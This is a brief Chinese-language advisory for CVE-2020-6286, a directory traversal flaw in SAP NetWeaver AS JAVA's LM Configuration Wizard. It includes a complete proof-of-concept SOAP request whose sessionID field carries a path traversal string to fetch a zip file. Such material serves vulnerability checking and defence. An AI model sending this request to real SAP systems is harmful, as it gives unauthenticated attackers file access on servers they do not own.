[CVE-2020-6286] SAP NetWeaver AS JAVA (LM配置向导) 目录遍历
SAP NetWeaver 是 SAP 的集成技术平台,也是自 SAP Business Suite 以来所有 SAP 应用的技术基础。SAP NetWeaver 是一个面向服务的应用和集成平台,为 SAP 应用提供开发和运行环境,也可用于自定义开发以及与其他应用和系统的集成。SAP NetWeaver AS JAVA (LM配置向导) 版本 7.30, 7.31, 7.40, 7.50 的 Web 服务中,某个参数的输入路径验证不足,允许一个未认证的攻击者利用某个方法将 zip 文件下载到特定目录,从而导致路径遍历。
为了安全的概念验证,您可以使用以下请求。如果 zip 文件在远程主机上存在,则下载 111.zip 文件
POST /CTCWebService/CTCWebServiceBean HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header />
<soapenv:Body>
<urn:queryProtocol>
<sessionID>/../../../../../../../../../../../../../../../../../..111</sessionID>
</urn:queryProtocol>
</soapenv:Body>
</soapenv:Envelope>